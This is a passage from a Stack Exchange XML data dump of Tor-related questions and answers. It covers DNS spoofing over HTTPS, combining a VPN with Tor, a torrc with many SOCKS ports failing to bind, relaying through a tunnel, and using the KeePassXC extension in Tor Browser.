  <row Id="22115" PostTypeId="1" AcceptedAnswerId="22116" CreationDate="2021-03-04T21:23:52.127" Score="0" ViewCount="379" Body="&lt;p&gt;This question is an extension of &lt;a href=&quot;https://tor.stackexchange.com/questions/7477/how-does-tor-handle-dns-poisoning?&quot;&gt;How does Tor handle DNS poisoning&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;After having read &lt;a href=&quot;https://blog.cloudflare.com/welcome-hidden-resolver/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Introducing DNS Resolver for Tor&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System#Security_issues&quot; rel=&quot;nofollow noreferrer&quot;&gt;DNS security issues&lt;/a&gt;, I am a bit concerned about the riscs of using Tor (Browser) in presence of DNS spoofing/poisoning or MITM attacks.&lt;/p&gt;&#xA;&lt;p&gt;If I have understood correctly, following happens when visiting &lt;code&gt;https://example.com&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;Tor exit node&lt;/em&gt; resolves &lt;code&gt;example.com&lt;/code&gt; to an IP, e.g. 5.5.5.5&lt;/li&gt;&#xA;&lt;li&gt;End-to-end HTTPS encryption is established between &lt;em&gt;Tor browser client and &lt;code&gt;example.com&lt;/code&gt;&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Given an evil exit node resolves the domain name to a different IP address 5.5.5.7 owned by Mallory. Then the returned site still needs to deliver a certificate as response, which most probably is self-signed and not trusted by a browser root certificate authority. Hence I would get a certificate error in case of DNS spoofing.&lt;/p&gt;&#xA;&lt;p&gt;Doesn't that mean, I am safe concerning DNS attacks, when enforcing HTTPS with Tor?&lt;/p&gt;&#xA;" OwnerUserId="31629" LastActivityDate="2021-03-04T21:53:00.633" Title="How to prevent DNS Spoofing attacks with Tor?" Tags="|tor-browser-bundle|security|dns|https|spoofing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22116" PostTypeId="2" ParentId="22115" CreationDate="2021-03-04T21:53:00.633" Score="0" Body="&lt;p&gt;Yes. You are.&lt;/p&gt;&#xA;&lt;p&gt;I would also like to point out that your normal DNS server could perform this too, however targeted at &lt;em&gt;you&lt;/em&gt; specifically. The Tor exit node does not know who is trying to access the website, just someone.&lt;/p&gt;&#xA;&lt;p&gt;I would also like to point that you may want to use onion services wherever possible as they do not have this problem.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-03-04T21:53:00.633" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22117" PostTypeId="2" ParentId="22114" CreationDate="2021-03-04T22:29:35.383" Score="0" Body="&lt;p&gt;Three important files you'll want to look at are:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;feature/dirclient/dirclient.c&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;feature/nodelist/networkstatus.c&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;feature/nodelist/routerlist.c&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You might want to start at &lt;code&gt;fetch_networkstatus_callback()&lt;/code&gt; which is the callback triggered by the eventloop to download new directory documents. Without knowing more about what you want to do, I can't suggest specific parts of the code to look at.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-03-04T22:29:35.383" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="22118" PostTypeId="2" ParentId="22065" CreationDate="2021-03-05T04:28:39.767" Score="1" Body="&lt;p&gt;TL;DR: &lt;strong&gt;It’s complicated.&lt;/strong&gt; It depends on your threat model and how well you configure everything.&lt;/p&gt;&#xA;&lt;p&gt;This is &lt;a href=&quot;http://4bflp2c4tnynnbes.onion/faq/faq-5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;one of the top questions on the Tor Project site&lt;/a&gt; [1]. They recommend VPNs (with Tor) only for advanced users and refer to a &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorPlusVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki entry&lt;/a&gt; for details.&lt;/p&gt;&#xA;&lt;p&gt;The discussion below is a summary of the wiki entry, together with some thoughts of mine:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The arrangement you have with the VPN provider, especially with regards to payment, is likely to decrease anonymity compared to using Tor alone. VPNs can also keep logs.&lt;/li&gt;&#xA;&lt;li&gt;A VPN adds an extra hop, making passive attacks (slightly) harder, but increases the attack surface, making you more vulnerable to a global adversary.&lt;/li&gt;&#xA;&lt;li&gt;On the other hand, a &lt;em&gt;trusted&lt;/em&gt; VPN can help protect you from flaws in Tor itself, including colluding Tor nodes.&lt;/li&gt;&#xA;&lt;li&gt;A VPN may offer a false sense of security. Without special precautions, a VPN failure could lead to you &lt;em&gt;silently&lt;/em&gt; making connections without the VPN.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;A VPN always acts as a permanent entry node or exit node. It is difficult to predict what effect this will have, but basically:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Having a VPN as a permanent entry node sounds good, as Tor itself tries to use a (semi-)permanent entry node. But this would give you two permanent nodes in a row, which is probably not good for anonymity.&lt;/li&gt;&#xA;&lt;li&gt;The wiki entry says that going through Tor, then a VPN, is “generally a really poor plan” because it results in a permanent exit node, whereas &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorFAQ#HowoftendoesTorchangeitspaths&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor itself switches circuits frequently&lt;/a&gt;. The wiki entry also carries this warning:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Even if you pay for them anonymously, you're making a bottleneck where all your traffic goes -- the VPN/SSH can build a profile of everything you do, and over time that will probably be really dangerous.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;(Going through Tor, then a VPN, is also difficult to configure, because it is non-standard and Tor can only carry TCP traffic.)&lt;/p&gt;&#xA;&lt;p&gt;On a slightly off-topic note, a VPN can help to circumvent censorship of Tor, either by your ISP or the server operator’s ISP, and may look less suspicious than Tor. Of course, this all assumes you go through the VPN, then Tor.&lt;/p&gt;&#xA;&lt;p&gt;But be warned: routing your Tor traffic through a VPN is no guarantee of hiding your Tor usage. Your Tor usage and even your browsing patterns might be revealed through traffic fingerprints; according to the wiki entry, there is no research on this.&lt;/p&gt;&#xA;&lt;p&gt;Regarding speed, of course adding an extra hop is always going to increase latency compared to using Tor alone. But it should not matter which way around you put the hops: either Tor or the VPN can come first.&lt;/p&gt;&#xA;&lt;p&gt;(Side note: An edit to the question confirmed that it is not referring to self-hosted VPNs. For those who might wonder how these are useful here, the wiki entry says they can be used to force &lt;em&gt;all&lt;/em&gt; traffic through Tor.)&lt;/p&gt;&#xA;&lt;p&gt;[1] Cleanet link: &lt;a href=&quot;https://support.torproject.org/faq/faq-5/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.torproject.org/faq/faq-5/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31831" LastEditorUserId="31831" LastEditDate="2021-03-06T08:23:06.987" LastActivityDate="2021-03-06T08:23:06.987" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="22119" PostTypeId="2" ParentId="22107" CreationDate="2021-03-05T12:07:00.423" Score="0" Body="&lt;p&gt;If they have access to your computer/device (e.g. it's a computer they handed out that may have spyware installed). Yes.&lt;/p&gt;&#xA;&lt;p&gt;Else no.&lt;/p&gt;&#xA;" OwnerUserId="31801" LastActivityDate="2021-03-05T12:07:00.423" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22120" PostTypeId="1" CreationDate="2021-03-06T00:48:45.260" Score="0" ViewCount="112" Body="&lt;p&gt;I installed TOR on the server with the command:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I corrected the configuration file and it looks like this (/etc/tor/torrc):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;## Configuration file for a typical Tor user&#xA;## Last updated 9 October 2013 for Tor 0.2.5.2-alpha.&#xA;## (may or may not work for much older or much newer versions of Tor.)&#xA;##&#xA;## Lines that begin with &amp;quot;## &amp;quot; try to explain what's going on. Lines&#xA;## that begin with just &amp;quot;#&amp;quot; are disabled commands: you can enable them&#xA;## by removing the &amp;quot;#&amp;quot; symbol.&#xA;##&#xA;## See 'man tor', or https://www.torproject.org/docs/tor-manual.html,&#xA;## for more options you can use in this file.&#xA;##&#xA;## Tor will look for this file in various places based on your platform:&#xA;## https://www.torproject.org/docs/faq#torrc&#xA;&#xA;## Tor opens a socks proxy on port 9050 by default -- even if you don't&#xA;## configure one below. Set &amp;quot;SocksPort 0&amp;quot; if you plan to run Tor only&#xA;## as a relay, and not make any local application connections yourself.&#xA;#SocksPort 9050 # Default: Bind to localhost:9050 for local connections.&#xA;#SocksPort 192.168.0.1:9100 # Bind to this address:port too.&#xA;SocksPort 9052&#xA;SocksPort 9053&#xA;SocksPort 9054&#xA;SocksPort 9055&#xA;SocksPort 9056&#xA;SocksPort 9057&#xA;SocksPort 9058&#xA;SocksPort 9059&#xA;SocksPort 9060&#xA;SocksPort 9061&#xA;SocksPort 9062&#xA;SocksPort 9063&#xA;SocksPort 9064&#xA;SocksPort 9065&#xA;SocksPort 9066&#xA;SocksPort 9067&#xA;SocksPort 9068&#xA;SocksPort 9069&#xA;SocksPort 9070&#xA;SocksPort 9071&#xA;SocksPort 9072&#xA;SocksPort 9073&#xA;SocksPort 9074&#xA;SocksPort 9075&#xA;SocksPort 9076&#xA;SocksPort 9077&#xA;SocksPort 9078&#xA;SocksPort 9079&#xA;SocksPort 9080&#xA;SocksPort 9081&#xA;SocksPort 9082&#xA;SocksPort 9083&#xA;SocksPort 9084&#xA;SocksPort 9085&#xA;SocksPort 9086&#xA;SocksPort 9087&#xA;SocksPort 9088&#xA;SocksPort 9089&#xA;SocksPort 9090&#xA;SocksPort 9091&#xA;SocksPort 9092&#xA;SocksPort 9093&#xA;SocksPort 9094&#xA;SocksPort 9095&#xA;SocksPort 9096&#xA;SocksPort 9097&#xA;SocksPort 9098&#xA;SocksPort 9099&#xA;SocksPort 9100&#xA;SocksPort 9101&#xA;SocksPort 9102&#xA;SocksPort 9103&#xA;SocksPort 9104&#xA;SocksPort 9105&#xA;SocksPort 9106&#xA;SocksPort 9107&#xA;SocksPort 9108&#xA;SocksPort 9109&#xA;SocksPort 9110&#xA;SocksPort 9111&#xA;SocksPort 9112&#xA;SocksPort 9113&#xA;SocksPort 9114&#xA;SocksPort 9115&#xA;SocksPort 9116&#xA;SocksPort 9117&#xA;SocksPort 9118&#xA;SocksPort 9119&#xA;SocksPort 9120&#xA;SocksPort 9121&#xA;SocksPort 9122&#xA;SocksPort 9123&#xA;SocksPort 9124&#xA;SocksPort 9125&#xA;SocksPort 9126&#xA;SocksPort 9127&#xA;SocksPort 9128&#xA;SocksPort 9129&#xA;SocksPort 9130&#xA;SocksPort 9131&#xA;SocksPort 9132&#xA;SocksPort 9133&#xA;SocksPort 9134&#xA;SocksPort 9135&#xA;SocksPort 9136&#xA;SocksPort 9137&#xA;SocksPort 9138&#xA;SocksPort 9139&#xA;SocksPort 9140&#xA;SocksPort 9141&#xA;SocksPort 9142&#xA;SocksPort 9143&#xA;SocksPort 9144&#xA;SocksPort 9145&#xA;SocksPort 9146&#xA;SocksPort 9147&#xA;SocksPort 9148&#xA;SocksPort 9149&#xA;SocksPort 9150&#xA;SocksPort 9151&#xA;SocksPort 9152&#xA;SocksPort 9153&#xA;SocksPort 9154&#xA;SocksPort 9155&#xA;SocksPort 9156&#xA;SocksPort 9157&#xA;SocksPort 9158&#xA;SocksPort 9159&#xA;SocksPort 9160&#xA;SocksPort 9161&#xA;SocksPort 9162&#xA;SocksPort 9163&#xA;SocksPort 9164&#xA;SocksPort 9165&#xA;SocksPort 9166&#xA;SocksPort 9167&#xA;SocksPort 9168&#xA;SocksPort 9169&#xA;SocksPort 9170&#xA;SocksPort 9171&#xA;SocksPort 9172&#xA;SocksPort 9173&#xA;SocksPort 9174&#xA;SocksPort 9175&#xA;SocksPort 9176&#xA;SocksPort 9177&#xA;SocksPort 9178&#xA;SocksPort 9179&#xA;SocksPort 9180&#xA;SocksPort 9181&#xA;SocksPort 9182&#xA;SocksPort 9183&#xA;SocksPort 9184&#xA;SocksPort 9185&#xA;SocksPort 9186&#xA;SocksPort 9187&#xA;SocksPort 9188&#xA;SocksPort 9189&#xA;SocksPort 9190&#xA;SocksPort 9191&#xA;SocksPort 9192&#xA;SocksPort 9193&#xA;SocksPort 9194&#xA;SocksPort 9195&#xA;SocksPort 9196&#xA;SocksPort 9197&#xA;SocksPort 9198&#xA;SocksPort 9199&#xA;SocksPort 9200&#xA;&#xA;&#xA;## Entry policies to allow/deny SOCKS requests based on IP address.&#xA;## First entry that matches wins. If no SocksPolicy is set, we accept&#xA;## all (and only) requests that reach a SocksPort. Untrusted users who&#xA;## can access your SocksPort may be able to learn about the connections&#xA;## you make.&#xA;#SocksPolicy accept 192.168.0.0/16&#xA;#SocksPolicy reject *&#xA;&#xA;## Logs go to stdout at level &amp;quot;notice&amp;quot; unless redirected by something&#xA;## else, like one of the below lines. You can have as many Log lines as&#xA;## you want.&#xA;##&#xA;## We advise using &amp;quot;notice&amp;quot; in most cases, since anything more verbose&#xA;## may provide sensitive information to an attacker who obtains the logs.&#xA;##&#xA;## Send all messages of level 'notice' or higher to /var/log/tor/notices.log&#xA;#Log notice file /var/log/tor/notices.log&#xA;## Send every possible message to /var/log/tor/debug.log&#xA;#Log debug file /var/log/tor/debug.log&#xA;## Use the system log instead of Tor's logfiles&#xA;#Log notice syslog&#xA;## To send all messages to stderr:&#xA;#Log debug stderr&#xA;&#xA;## Uncomment this to start the process in the background... or use&#xA;## --runasdaemon 1 on the command line. This is ignored on Windows;&#xA;## see the FAQ entry if you want Tor to run as an NT service.&#xA;#RunAsDaemon 1&#xA;&#xA;## The directory for keeping all the keys/etc. By default, we store&#xA;## things in $HOME/.tor on Unix, and in Application Data\tor on Windows.&#xA;#DataDirectory /var/lib/tor&#xA;&#xA;## The port on which Tor will listen for local connections from Tor&#xA;## controller applications, as documented in control-spec.txt.&#xA;#ControlPort 9051&#xA;## If you enable the controlport, be sure to enable one of these&#xA;## authentication methods, to prevent attackers from accessing it.&#xA;#HashedControlPassword 16:872860B76453A77D60CA2BB8C1A7042072093276A3D701AD684053EC4C&#xA;#CookieAuthentication 1&#xA;&#xA;############### This section is just for location-hidden services ###&#xA;&#xA;## Once you have configured a hidden service, you can look at the&#xA;## contents of the file &amp;quot;.../hidden_service/hostname&amp;quot; for the address&#xA;## to tell people.&#xA;##&#xA;## HiddenServicePort x y:z says to redirect requests on port x to the&#xA;## address y:z.&#xA;&#xA;#HiddenServiceDir /var/lib/tor/hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;&#xA;#HiddenServiceDir /var/lib/tor/other_hidden_service/&#xA;#HiddenServicePort 80 127.0.0.1:80&#xA;#HiddenServicePort 22 127.0.0.1:22&#xA;&#xA;################ This section is just for relays #####################&#xA;#&#xA;## See https://www.torproject.org/docs/tor-doc-relay for details.&#xA;&#xA;## Required: what port to advertise for incoming Tor connections.&#xA;#ORPort 9001&#xA;## If you want to listen on a port other than the one advertised in&#xA;## ORPort (e.g. to advertise 443 but bind to 9090), you can do it as&#xA;## follows.  You'll need to do ipchains or other port forwarding&#xA;## yourself to make this work.&#xA;#ORPort 443 NoListen&#xA;#ORPort 127.0.0.1:9090 NoAdvertise&#xA;&#xA;## The IP address or full DNS name for incoming connections to your&#xA;## relay. Leave commented out and Tor will guess.&#xA;#Address noname.example.com&#xA;&#xA;## If you have multiple network interfaces, you can specify one for&#xA;## outgoing traffic to use.&#xA;# OutboundBindAddress 10.0.0.5&#xA;&#xA;## A handle for your relay, so people don't have to refer to it by key.&#xA;#Nickname ididnteditheconfig&#xA;&#xA;## Define these to limit how much relayed traffic you will allow. Your&#xA;## own traffic is still unthrottled. Note that RelayBandwidthRate must&#xA;## be at least 20 KB.&#xA;## Note that units for these config options are bytes per second, not bits&#xA;## per second, and that prefixes are binary prefixes, i.e. 2^10, 2^20, etc.&#xA;#RelayBandwidthRate 100 KB  # Throttle traffic to 100KB/s (800Kbps)&#xA;#RelayBandwidthBurst 200 KB # But allow bursts up to 200KB/s (1600Kbps)&#xA;&#xA;## Use these to restrict the maximum traffic per day, week, or month.&#xA;## Note that this threshold applies separately to sent and received bytes,&#xA;## not to their sum: setting &amp;quot;4 GB&amp;quot; may allow up to 8 GB total before&#xA;## hibernating.&#xA;##&#xA;## Set a maximum of 4 gigabytes each way per period.&#xA;#AccountingMax 4 GB&#xA;## Each period starts daily at midnight (AccountingMax is per day)&#xA;#AccountingStart day 00:00&#xA;## Each period starts on the 3rd of the month at 15:00 (AccountingMax&#xA;## is per month)&#xA;#AccountingStart month 3 15:00&#xA;&#xA;## Administrative contact information for this relay or bridge. This line&#xA;## can be used to contact you if your relay or bridge is misconfigured or&#xA;## something else goes wrong. Note that we archive and publish all&#xA;## descriptors containing these lines and that Google indexes them, so&#xA;## spammers might also collect them. You may want to obscure the fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &amp;quot;exit enclaving&amp;quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;#ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &amp;quot;bridges&amp;quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;#BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;UseEntryGuards 0&#xA;EnforceDistinctSubnets 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I connect to different ports:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; 127.0.0.1:9052&#xA; 127.0.0.1:9053&#xA; 127.0.0.1:9054&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And in random cases, connections stop working for unknown reasons. I have been struggling with the problem for several days and nothing helps me... I often notice errors like this in the logs:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Mar 06 03:33:38.367 [notice] Opening Socks listener on 127.0.0.1:9052&#xA;Mar 06 03:33:38.367 [warn] Could not bind to 127.0.0.1:9052: Address already in use. Is Tor already running?&#xA;Mar 06 03:33:38.367 [notice] Opening Socks listener on 127.0.0.1:9053&#xA;Mar 06 03:33:38.367 [warn] Could not bind to 127.0.0.1:9053: Address already in use. Is Tor already running?&#xA;Mar 06 03:33:38.367 [notice] Opening Socks listener on 127.0.0.1:9054&#xA;Mar 06 03:33:38.367 [warn] Could not bind to 127.0.0.1:9054: Address already in use. Is Tor already running?&#xA;Mar 06 03:47:33.026 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;Mar 06 03:47:33.026 [err] Reading config failed--see warnings above.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The error also appears with respect to other ports that are not even used.&lt;/p&gt;&#xA;&lt;p&gt;What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="31294" LastActivityDate="2021-03-06T00:48:45.260" Title="TOR is unstable on Linux (Debian). Address already in use" Tags="|configuration|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="22122" PostTypeId="1" CreationDate="2021-03-06T13:21:00.387" Score="1" ViewCount="128" Body="&lt;p&gt;I wonder if anyone here has tried this before and maybe could give me some advice. My internet connection at home is dual stack lite so I don't have a public IPv4 address and therefore can't setup a TOR relay. But I have a VPS which of course has a public IPv4.&lt;/p&gt;&#xA;&lt;p&gt;I have some experience with tunneling between my VPS and home server using reverse SSH. I can connect to a website or cloud hosted on my home server through these tunnels via the IPv4 of my VPS without a problem. But I can't manage to get this working with the TOR relay.&lt;/p&gt;&#xA;&lt;p&gt;I suspect it to be a problem with me not being familiar with the TOR configuration. My setup is like this: All traffic coming to port 9001 of my VPS is tunneled to port 9001 of my home server. In the config file I declared the IP of my VPS. But it doesn't work. After starting the TOR service it fails the check if the port is reachable from outside.&lt;/p&gt;&#xA;&lt;p&gt;Any advice on this? Thanks in advance.&lt;/p&gt;&#xA;&lt;p&gt;I posted this on /r/TOR too. Concerning a switch to real dual stack: No, this would cost me 30€/month extra. The whole thing is more about the curiosity of getting this to work than about needing it. If it works, fine, my relay will be up and running. If it doesn't, I could set up a relay on my VPS (although the 512MB RAM seem to make this a bit critical). I don't need a public IPv4 for my home connection, so please don't advice me to change my subscription in that regard.&lt;/p&gt;&#xA;" OwnerUserId="31861" LastActivityDate="2021-03-06T13:21:00.387" Title="TOR relay and DS-Lite, no public IPv4, tunnel workaround?" Tags="|configuration|relays|ip-address|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22123" PostTypeId="1" CreationDate="2021-03-06T13:38:19.203" Score="0" ViewCount="1478" Body="&lt;p&gt;&lt;a href=&quot;https://keepassxc.org/docs/KeePassXC_GettingStarted.html#_setup_browser_integration&quot; rel=&quot;nofollow noreferrer&quot;&gt;KeePassXC’s browser integration documentation&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The KeePassXC-Browser extension is installed within your web browser so that you can automatically pull usernames and passwords from KeePassXC and populate them directly into website fields. It is a very useful and secure extension that enhances your productivity while using KeePassXC. …&lt;/p&gt;&#xA;&lt;p&gt;The KeePassXC-Browser extension is available on the following web browsers:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;…&lt;/li&gt;&#xA;&lt;li&gt;Mozilla Firefox and Tor-Browser&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This sounds great. Except for that thing about not installing extensions in Tor Browser.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://tor.stackexchange.com/a/19870/31831&quot;&gt;Crsi’s answer to “How Can I Stop Extension Fingerprinting in Tor?”&lt;/a&gt; says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There are extensions that do not send any data to the server side and also don't affect the data processed by the browser. Thus, these are secure to not change your fingerprint. You can see a quick overview over what an extension wants to do when adding it (&lt;a href=&quot;https://support.mozilla.org/en-US/kb/permission-request-messages-firefox-extensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;explanation&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The extension’s &lt;a href=&quot;https://github.com/keepassxreboot/keepassxc-browser/blob/develop/README.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;README&lt;/a&gt; describes the permissions:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;div class=&quot;s-table-container&quot;&gt;&#xA;&lt;table class=&quot;s-table&quot;&gt;&#xA;&lt;thead&gt;&#xA;&lt;tr&gt;&#xA;&lt;th&gt;Name&lt;/th&gt;&#xA;&lt;th&gt;Reason&lt;/th&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/thead&gt;&#xA;&lt;tbody&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;activeTab&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To get URL of the current tab&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;contextMenus&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To show context menu items&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;clipboardWrite&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Allows password to be copied from password generator to clipboard&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;nativeMessaging&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;Allows communication with KeePassXC application&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;notifications&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To show browser notifications&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;storage&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;For storing extension settings to localStorage&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;tabs&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To request tab URL's and other info&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;webNavigation&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To show browser notifications on install or update&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;webRequest&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;For handling HTTP Basic Auth&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;webRequestBlocking&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;For handling HTTP Basic Auth&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;http://*/*&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To allow using KeePassXC-Browser on all websites&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;https://*/*&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;To allow using KeePassXC-Browser on all websites&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;tr&gt;&#xA;&lt;td&gt;&lt;code&gt;https://api.github.com/&lt;/code&gt;&lt;/td&gt;&#xA;&lt;td&gt;For checking the latest KeePassXC version from GitHub&lt;/td&gt;&#xA;&lt;/tr&gt;&#xA;&lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;/div&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;This all seems fine, except perhaps for the last item about update checks.&lt;/p&gt;&#xA;&lt;p&gt;Crsi’s answer goes on to say (the cited page is also accessible &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/download/#warning&quot; rel=&quot;nofollow noreferrer&quot;&gt;via an onion service&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;But you should not add extensions to your TBB. From &lt;a href=&quot;https://www.torproject.org/download/#warning&quot; 